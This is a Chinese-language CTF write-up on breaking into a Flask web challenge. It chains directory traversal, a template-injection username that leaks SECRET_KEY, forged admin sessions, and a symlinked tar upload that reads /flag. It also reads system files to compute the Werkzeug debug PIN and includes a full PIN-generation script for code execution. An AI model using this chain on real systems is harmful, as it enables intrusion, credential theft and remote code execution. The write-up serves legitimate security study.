知识点
目录穿越,可任意文件读取
flask模板注入,可获取SECRET_KEY,从而伪造session成为管理员
上传tar文件自解压,可利用软连接读文件
debug模式,生成pin码的关键信息都可获取到,计算pin码,执行命令
目录穿越
http://111.198.29.45:38930/asserts/..%2f..%2f..%2f..%2fflag #读取假的flag ciscn{this_is_a_sample_flag}
格式化字符串+SESSION伪造+软连接读文件
代码中class User(db.Model,SQLAlchemy)继承了SQLAlchemy类,SQLAlchemy类中有请求上下文current_app变量,通过测试可以获取。
注册用户名为: {user.__class__.__mro__[3].__init__.__globals__[current_app].config},登陆后访问个人中心,拿到secret_key。
利用获取的secret_key签名session,获取admin权限
利用secret_key使用脚本计算cookie(工具下载地址 https://github.com/noraj/flask-session-cookie-manager.git ),获取admin权限后可以添加商品,商品图片可以是打包的tar包,从而利用软连接读文件
ln -s /flag 1.png tar cvfp ./flag.tar 1.png
上传后读取flag
debug模式,生成pin码的关键信息都可获取到,计算pin码,执行命令
参考文章:
https://cloud.tencent.com/developer/article/1369005
计算pin所需要的值为
username # 用户名 /etc/passwd 中找到用户名 modname # flask.app 一般为固定值 getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask 一般为固定值 getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径 从网站报错信息中可以看到,但是要加上pyc uuid.getnode() # mac地址十进制 /sys/class/net/eth0/address 或者 /sys/class/net/eth33/address eth0为网卡 get_machine_id() # /etc/machine-id
这里我们的/etc/machine-id文件为空,所以计算的时候填空就行。
计算pin脚本
#!/usr/bin/python2.7
#coding:utf-8
from sys import *
import requests
import re
from itertools import chain
import hashlib
def genpin(mac,mid):
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac),# str(uuid.getnode()), /sys/class/net/eth0/address
str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
# 02:42:ac:16:00:02 /sys/class/net/eth0/address
# 21e83dfd-206c-4e80-86be-e8d0afc467a1 /proc/sys/kernel/random/boot_id
def getcode(content):
try:
return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
except:
return ''
def getshell():
print genpin("02:74:0e:ef:de:c2","")
if __name__ == '__main__':
getshell()让网页报错,弹出debug模式,输入计算好的pin码,就可以执行python命令
